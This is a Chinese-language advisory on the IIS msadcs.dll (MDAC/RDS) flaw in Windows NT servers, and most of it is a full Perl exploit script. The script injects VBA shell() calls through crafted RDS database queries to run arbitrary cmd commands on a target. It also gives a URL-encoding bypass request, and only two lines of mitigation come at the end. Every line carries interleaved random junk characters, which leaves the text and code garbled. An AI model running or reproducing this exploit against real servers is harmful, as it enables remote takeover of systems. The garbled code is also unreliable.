IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
5^yG2&># ! ,@ZQS 涉及程序：
L?!$ EPr Microsoft NT server
O@s{uZ|A6 @r F/]UJ 描述：
VBM/x|' 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
!2z!8kI U
IfH*6X 详细：
eK'wVg# 如果你没有时间读详细内容的话，就删除:
yO=p3PV d c:\Program Files\Common Files\System\Msadc\msadcs.dll
IV0[! D 有关的安全问题就没有了。
y0<U u %swR:Bv 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
i2*d+?Er L P9)zi 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
atyu/+U'} 关于利用ODBC远程漏洞的描述，请参看:
g5y;?fqJ ACb/ITu http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm "}@i +oS bj }=8k0 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
aVwH http://www.microsoft.com/security/bulletins/MS99-025faq.asp [SkKz>rC g` [` P@ 这里不再论述。
kh3<V'k] |g<* Rk0
3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
/THnfy \ U'y,YtF@ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
7d ;pvhnH 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
NG" yPn h* 3{6X#(/ _ij$f< #将下面这段保存为txt文件，然后: "perl -x 文件名"
UQI
f}iR h%TLD[[/jr #!perl
` H
XEZ| #
rQJ"&CapT # MSADC/RDS 'usage' (aka exploit) script
,3HcCuT #
,gMy@ # by rain.forest.puppy
YTQps&mD. #
+}a C-& # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
SdJ/ 4&{ ! # beta test and find errors!
02 \JzBU Qf
xH9_ use Socket; use Getopt::Std;
g?G+dnl/8 getopts("e:vd:h:XR", \%args);
Cqx v"NN
so+4B1$)q print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
qaVy. tHh HrMxO if (!defined $args{h} && !defined $args{R}) {
l?8)6z#Zl print qq~
L9FHgl? Usage: msadc.pl -h <host> { -d <delay> -X -v }
lw[e *q{s. -h <host> = host you want to scan (ip or domain)
(UYF%MA}" -d <seconds> = delay between calls, default 1 second
hat>kXm2K -X = dump Index Server path table, if available
]|U-y6 45 -v = verbose
C4\,z\Q -e = external dictionary file for step 5
c|AtBgvf A6{b?aQ Or a -R will resume a command session
E4i0i!<z l!
v!hU b+ ~; exit;}
FT89*C)oD 2p!"p`b~ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
nfdq y) if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
v q!uD!lr if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
"i&"* ~ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
rwE%G>Vb $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
LL*mgT Q if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
ZA(T
U@F)2? if (!defined $args{R}){ $ret = &has_msadc;
x\\~SGd die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
l= }~v 'ZP)cI:+X print "Please type the NT commandline you want to run (cmd /c assumed):\n"
#VVr"*7$ . "cmd /c ";
k2 Q
qZxm! $in=<STDIN>; chomp $in;
d s:->+ o $command="cmd /c " . $in ;
TDt Amk 1HT_ if (defined $args{R}) {&load; exit;}
0N :XIGFa hk >;pU( print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
9`Q<Yy"du &try_btcustmr;
iK()&TNz [KJ
q print "\nStep 2: Trying to make our own DSN...";
@b#^ - &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
OJAIaC\ wzCUZ1N9q print "\nStep 3: Trying known DSNs...";
9uk<&nqx &known_dsn;
O,@~L$a:YZ ,u9M<B<F print "\nStep 4: Trying known .mdbs...";
{eS|j= &known_mdb;
qJ4T]FVN E:`v+S_h if (defined $args{e}){
'x"08v$ print "\nStep 5: Trying dictionary of DSN names...";
^wb:C[r!V &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
LOy0hN-$b eYX5(`c[ print "Sorry Charley...maybe next time?\n";
~]C%/gEh exit;
aGZi9O7G} \55VqGyxu9 ##############################################################################
<^?1uzxH8A 4NN$( S-W sub sendraw { # ripped and modded from whisker
j=?'4sF sleep($delay); # it's a DoS on the server! At least on mine...
vQ}6y my ($pstr)=@_;
T:]L/wCj socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
pCh2SQ(Q> die("Socket problems\n");
yS(}:'`r if(connect(S,pack "SnA4x8",2,80,$target)){
'B5^ P select(S); $|=1;
NEt1[2 X% print $pstr; my @in=<S>;
Vwk #qgnX select(STDOUT); close(S);
azQ D> return @in;
u j> WgU } else { die("Can't connect...\n"); }}
66x?A0P bHLT}x/Gw ##############################################################################
' H5M|c$s x<Vm5j sub make_header { # make the HTTP request
05yZad* my $msadc=<<EOT
2*"Fu:a"`I POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
ui q^|5Z User-Agent: ACTIVEDATA
-HSs^dP` Host: $ip
-=s(l.?Hm5 Content-Length: $clen
g~V +4+ Connection: Keep-Alive
HK\~Qnq /~*_x=p: ADCClientVersion:01.06
H~ZV *[A` Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
^7z u< lX STZPYeXE --!ADM!ROX!YOUR!WORLD!
JSh.]j<bJL Content-Type: application/x-varg
kmzH'wktt Content-Length: $reqlen
z'T) =ycT w 4[{2 EOT
f&v9Q97= ; $msadc=~s/\n/\r\n/g;
s3 7'&K return $msadc;}
`u>4\sv g &/ T*L ##############################################################################
hI9 .bBdQpF- sub make_req { # make the RDS request
bfo[" my ($switch, $p1, $p2)=@_;
UAoh`6vFF8 my $req=""; my $t1, $t2, $query, $dsn;
ca+5 =+X7 Ft}@ 1w5 if ($switch==1){ # this is the btcustmr.mdb query
dO a%9[ $query="Select * from Customers where City=" . make_shell();
H":oNpfb $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
%iV^S ! e $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
J!5$,%v ( 5]}5W* elsif ($switch==2){ # this is general make table query
vWAL^?HUP $query="create table AZZ (B int, C varchar(10))";
"DYJ21Ut4 $dsn="$p1";}
f^W;A"+ E>l~-PaZY elsif ($switch==3){ # this is general exploit table query
vVOh3{e| $query="select * from AZZ where C=" . make_shell();
!47n[Z s $dsn="$p1";}
|i++ 0BU s[UHe{^T elsif ($switch==4){ # attempt to hork file info from index server
Gz .|]:1 $query="select path from scope()";
2}8v(%s p $dsn="Provider=MSIDXS;";}
<)1qt
9 X&kp;W elsif ($switch==5){ # bad query
S]+ :{9d $query="select";
;^Dpl'v%\ $dsn="$p1";}
p, #o<W B_.%i+ZZ $t1= make_unicode($query);
#\=F O> $t2= make_unicode($dsn);
F w?[lS $req = "\x02\x00\x03\x00";
=E. w v
$req.= "\x08\x00" . pack ("S1", length($t1));
\-g)T}g,I $req.= "\x00\x00" . $t1 ;
9H]{g*kL $req.= "\x08\x00" . pack ("S1", length($t2));
Zu7)gf $req.= "\x00\x00" . $t2 ;
a |X a3E $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
CB ^U6ZS return $req;}
vam;4vyu |:gf lseE ##############################################################################
*WuID2cOI 1jcouD5?H sub make_shell { # this makes the shell() statement
'tH_ p return "'|shell(\"$command\")|'";}
q#%xro>m 9iQq.$A . ##############################################################################
J\b^) +{oG|r3L sub make_unicode { # quick little function to convert to unicode
5?x>9C a my ($in)=@_; my $out;
F1yqxWHeo for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
qv!2MUw\j return $out;}
)P
sY($ & {N+$Q' ##############################################################################
%xI p5h] vQ
6^xvk] sub rdo_success { # checks for RDO return success (this is kludge)
koug[5T5 my (@in) = @_; my $base=content_start(@in);
H*PSR if($in[$base]=~/multipart\/mixed/){
,
K~}\CR return 1 if( $in[$base+10]=~/^\x09\x00/ );}
JxM]9<a=4 return 0;}
\XZ/v*d0
Wi)_H$KII ##############################################################################
[<@.eH$hU/ .(cw>7e3D sub make_dsn { # this makes a DSN for us
xqu}cz my @drives=("c","d","e","f");
V@g'#= {r print "\nMaking DSN: ";
g,!L$,/F foreach $drive (@drives) {
s;ls qQk print "$drive: ";
0Qf,@^zL* my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
u 7> ],< "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
(@fHl=! Za . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
GjvOM y $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
#L h;CSS return 0 if $2 eq "404"; # not found/doesn't exist
[1Qo#w1 if($2 eq "200") {
p8Qk 'F=h foreach $line (@results) {
'a@/vx&J return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
V_ .5b&@ } return 0;}
| ATvS2 ia!y!_L\' ##############################################################################
u04kF ^ L>Fa^jq5 sub verify_exists {
. YAT:;L my ($page)=@_;
TNe l/ my @results=sendraw("GET $page HTTP/1.0\n\n");
;n*.W|Uph return $results[0];}
ymhtX6] 3u+T~g0^ ##############################################################################
(c=6yV@ u}macKJmp\ sub try_btcustmr {
^ @s1Z7 my @drives=("c","d","e","f");
dy%;W% my @dirs=("winnt","winnt35","winnt351","win","windows");
%K=?@M9i t%/&c::(6 foreach $dir (@dirs) {
rr],DGg+B] print "$dir -> "; # fun status so you can see progress
U ]H#MiC! foreach $drive (@drives) {
B u~]ey1 print "$drive: "; # ditto
PR#exm& $reqlen=length( make_req(1,$drive,$dir) ) - 28;
Fo5FNNiID $reqlenlen=length( "$reqlen" );
:^6y7&o[ $clen= 206 + $reqlenlen + $reqlen;
[
)Iv^ U9 l *(8i ^ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
&N^9JxN?8 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
c <B/V0] else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
_7Ju qd ~BnR$= ##############################################################################
qZ}^;)a^ JzQ_{J`k sub odbc_error {
t6 "%3#s my (@in)=@_; my $base;
'urafE4M my $base = content_start(@in);
\h/H#j ZJ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
v!~fs)cdE| $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
S%;O+eFYb $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
* SJ_z(CZm $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
{I%cx Q#y return $in[$base+4].$in[$base+5].$in[$base+6];}
nV|EQs4( print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
o q
Xg print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
{BN#h[#B{ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
)hsgC'H{~] hR?{3d#x2 ##############################################################################
~g]Vw4pv ~^:A{/ sub verbose {
gh]cXuph my ($in)=@_;
BA:VPTZq return if !$verbose;
n:?a$Ldg m print STDOUT "\n$in\n";}
Qz1E 2yJ Q~
w|# ##############################################################################
YoNDf39
-$ls(oot sub save {
Gx/Oi)&/ my ($p1, $p2, $p3, $p4)=@_;
6@5+m
0`u3 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
q6luUx,@m print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
L,/%f<wd close OUT;}
m=:9 +z P/eeC" ##############################################################################
jvL[
JI,b lTgjq:mn sub load {
-uG +BraI my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
\!ZTL1b8t open(IN,"<rds.save") || die("Couldn't open rds.save\n");
QA`sx @p=<IN>; close(IN);
j</: WRA`] $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
BX7kO0 j $target= inet_aton($ip) || die("inet_aton problems");
E{`fF8]K print "Resuming to $ip ...";
IOmfF[ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
]w8(&,PP if($p[1]==1) {
uw_Y\F-$ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
^6V[=! & H $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
.Yn_*L+4* my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
oD .Cs' if (rdo_success(@results)){print "Success!\n";}
##>H&,Dp[ else { print "failed\n"; verbose(odbc_error(@results));}}
0S!K{xyR elsif ($p[1]==3){
u&7[n_ if(run_query("$p[3]")){
fIU#M]Xx print "Success!\n";} else { print "failed\n"; }}
V U3upy< elsif ($p[1]==4){
YU'E@t5 if(run_query($drvst . "$p[3]")){
%7. 30CA|# print "Success!\n"; } else { print "failed\n"; }}
Vp DbHAg exit;}
\_f(M| '\iCP1>+S ##############################################################################
"+G8d' %YV E ~<JC"] sub create_table {
9rf)gU3{+L my ($in)=@_;
)jP1or $reqlen=length( make_req(2,$in,"") ) - 28;
2 FJ*f/ $reqlenlen=length( "$reqlen" );
H* *Xu;/5@ $clen= 206 + $reqlenlen + $reqlen;
/a4{?? #e my @results=sendraw(make_header() . make_req(2,$in,""));
1mG- } return 1 if rdo_success(@results);
[7Oe3= my $temp= odbc_error(@results); verbose($temp);
/PIcqg return 1 if $temp=~/Table 'AZZ' already exists/;
cV F "!. return 0;}
+23x ev ~Mxvq9vaD ##############################################################################
SwMc
pNo ISvpQ 3{)s sub known_dsn {
t b}V5VH # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
X'iWJ8 my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
Sd ry ol< "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
k9L;!TH~1K "banner", "banners", "ads", "ADCDemo", "ADCTest");
/%^# 8<=|U a&? :P1$ foreach $dSn (@dsns) {
>4CbwwMA print ".";
eJ-nKkg~a next if (!is_access("DSN=$dSn"));
9G2Fs M|, if(create_table("DSN=$dSn")){
Nj/
x. X print "$dSn successful\n";
N;`n@9BF if(run_query("DSN=$dSn")){
EADq C> print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
x[e<} 8'$( print "Something's borked. Use verbose next time\n";}}} print "\n";}
A.w.rVDD sFRQe]zCcP ##############################################################################
4j^
@wV' vnuN6M{ sub is_access {
& 1f+, my ($in)=@_;
j#4kY R{ $reqlen=length( make_req(5,$in,"") ) - 28;
|2A:eI8 ^ $reqlenlen=length( "$reqlen" );
pMM8-R'W- $clen= 206 + $reqlenlen + $reqlen;
$[ *w" iQ my @results=sendraw(make_header() . make_req(5,$in,""));
4 #Jg9o my $temp= odbc_error(@results);
&$H!@@09|w verbose($temp); return 1 if ($temp=~/Microsoft Access/);
a d\ot#V return 0;}
1< ?4\?j VUuE T ##############################################################################
'~ 47)fN @2i9n sub run_query {
~wdGd+ez my ($in)=@_;
M"L=L5OH- $reqlen=length( make_req(3,$in,"") ) - 28;
1|=A*T-<M $reqlenlen=length( "$reqlen" );
Q+{n-? : $clen= 206 + $reqlenlen + $reqlen;
Q/Rqa5LI: my @results=sendraw(make_header() . make_req(3,$in,""));
#5 uOx (> return 1 if rdo_success(@results);
Q,Eo mt my $temp= odbc_error(@results); verbose($temp);
-y g7;ff return 0;}
t6t! t* jO 3OB"#Ap8< ##############################################################################
;kKyksxlD 7t3!) a|lI sub known_mdb {
x?<FJ"8"k my @drives=("c","d","e","f","g");
lEBLZ}}\ my @dirs=("winnt","winnt35","winnt351","win","windows");
7xR\ kL., my $dir, $drive, $mdb;
NxI LRKwO my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
| V(0GB vih9 KBT # this is sparse, because I don't know of many
fN2lLn9/u my @sysmdbs=( "\\catroot\\icatalog.mdb",
Gq P5Kx+= "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
2`-Bs "\\system32\\certmdb.mdb",
:23P!^Y
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
W@esITr ugBC Br my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
7|H$ /] "\\cfusion\\cfapps\\forums\\forums_.mdb",
#0 <XN LM "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
z(~_AN M4, "\\cfusion\\cfapps\\security\\realm_.mdb",
pK4)yu+ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
[ N'h%1]\ "\\cfusion\\database\\cfexamples.mdb",
Alq(QDs "\\cfusion\\database\\cfsnippets.mdb",
Fj!U|l\_9 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
y )<q / "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
v` r:=K "\\cfusion\\brighttiger\\database\\cleam.mdb",
( -co. "\\cfusion\\database\\smpolicy.mdb",
4&iCht
= "\\cfusion\\database\cypress.mdb",
dF2RH)Ud "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
`0R./|bv\I "\\website\\cgi-win\\dbsample.mdb",
E(|>Ddv B& "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
c*M} N?|6 "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
%jM,W}2 ); #these are just
i@'dH3-kO
foreach $drive (@drives) {
T8NxJmYqB foreach $dir (@dirs){
)pn3~t<e d foreach $mdb (@sysmdbs) {
Ir]\| t print ".";
p b,. r if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
'B}qZCy W print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
WEpoBP
CL if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
IGN1gs print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
PI<vxjOK` } else { print "Something's borked. Use verbose next time\n"; }}}}}
!!y a wQ LSf{ 2 foreach $drive (@drives) {
1:wQ.T foreach $mdb (@mdbs) {
{>;R?TG]$ print ".";
ItCv.yv35 if(create_table($drv . $drive . $dir . $mdb)){
@ .KGfNu print "\n" . $drive . $dir . $mdb . " successful\n";
O
H7FkR if(run_query($drv . $drive . $dir . $mdb)){
ctV,Q3'Z print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
I 2DpRMy } else { print "Something's borked. Use verbose next time\n"; }}}}
(i GTACoF }
3M = .sA.C] f ##############################################################################
BORA(, w=@Dv sub hork_idx {
SY8C4vb'h print "\nAttempting to dump Index Server tables...\n";
@|)Z "m7 print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
5(8@%6>ruj $reqlen=length( make_req(4,"","") ) - 28;
aN=B] {! $reqlenlen=length( "$reqlen" );
F<w/PMb $clen= 206 + $reqlenlen + $reqlen;
bjS {( my @results=sendraw2(make_header() . make_req(4,"",""));
/Q )\ + if (rdo_success(@results)){
O1kl70,`R my $max=@results; my $c; my %d;
=qIyqbXz for($c=19; $c<$max; $c++){
"*H`HRi4T $results[$c]=~s/\x00//g;
yppo6 HGD $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
5M_H
NWi4 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
%K
QQ ,{ b $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
[8*)8jP3 $d{"$1$2"}="";}
-{+}@? foreach $c (keys %d){ print "$c\n"; }
*9i{,I@ } else {print "Index server doesn't seem to be installed.\n"; }}
PxE3K-S)G } d }lR ##############################################################################
v9UD%@tZ abEmRJTmW sub dsn_dict {
l NBL4yM open(IN, "<$args{e}") || die("Can't open external dictionary\n");
8x{'@WCG% while(<IN>){
7[wieYj{ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
m#F`] { next if (!is_access("DSN=$dSn"));
k$7Jj-+~ if(create_table("DSN=$dSn")){
o8vug$=Z print "$dSn successful\n";
cs'{5!i] if(run_query("DSN=$dSn")){
YgoBHE0# print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Hq 188< print "Something's borked. Use verbose next time\n";}}}
Xs ?o{]Fe print "\n"; close(IN);}
:,I:usW" $tS}LN_!
##############################################################################
?pZOeqqu$ /H==Hm/ sub sendraw2 { # ripped and modded from whisker
PiYxk +N sleep($delay); # it's a DoS on the server! At least on mine...
C>w|a my ($pstr)=@_;
alvrh'5 1 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
vZoaT|3
G] die("Socket problems\n");
veh<R]U if(connect(S,pack "SnA4x8",2,80,$target)){
"w.3Q96r print "Connected. Getting data";
xZv# Es%# open(OUT,">raw.out"); my @in;
YUIi; select(S); $|=1; print $pstr;
t`mV\)fa while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
8ITd Sg close(OUT); select(STDOUT); close(S); return @in;
C73 kJa } else { die("Can't connect...\n"); }}
<A'$%`6 m k)Qtfj}uij ##############################################################################
^ ovR7+V {> 0wiH#!E sub content_start { # this will take in the server headers
Z/;aT -N my (@in)=@_; my $c;
(*)hD(C5 for ($c=1;$c<500;$c++) {
5o8EC"
0 if($in[$c] =~/^\x0d\x0a/){
{,~3.5u if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
H
DFOA else { return $c+1; }}}
[1
9,&]z return -1;} # it should never get here actually
.h4 \Y A sp*v?5lW ##############################################################################
NPe% F+X s}% M4 sub funky {
nQ,HMXj my (@in)=@_; my $error=odbc_error(@in);
H}bJ"(9$vC if($error=~/ADO could not find the specified provider/){
:A'y+MnK< print "\nServer returned an ADO miscofiguration message\nAborting.\n";
J6FV]Gpv exit;}
kq,ucU%>p if($error=~/A Handler is required/){
KNIn:K^/ print "\nServer has custom handler filters (they most likely are patched)\n";
s6^ >F/x exit;}
V /V9B2.$ if($error=~/specified Handler has denied Access/){
O+Y6N print "\nServer has custom handler filters (they most likely are patched)\n";
9 c :cw exit;}}
^qD$z=z - (c
&mCJN ##############################################################################
v<( 6MMOf\
sub has_msadc {
I75DUJqy] my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
EGF '"L my $base=content_start(@results);
Y^EcQzLw return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
wyO4Y return 0;}
orMwAV D!-g&HBTC ########################
DwE[D]7o _C[q4? PKg@[<g43 解决方案：
XG{zlOD+ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
]R f [y 2、移除web 目录: /msadc
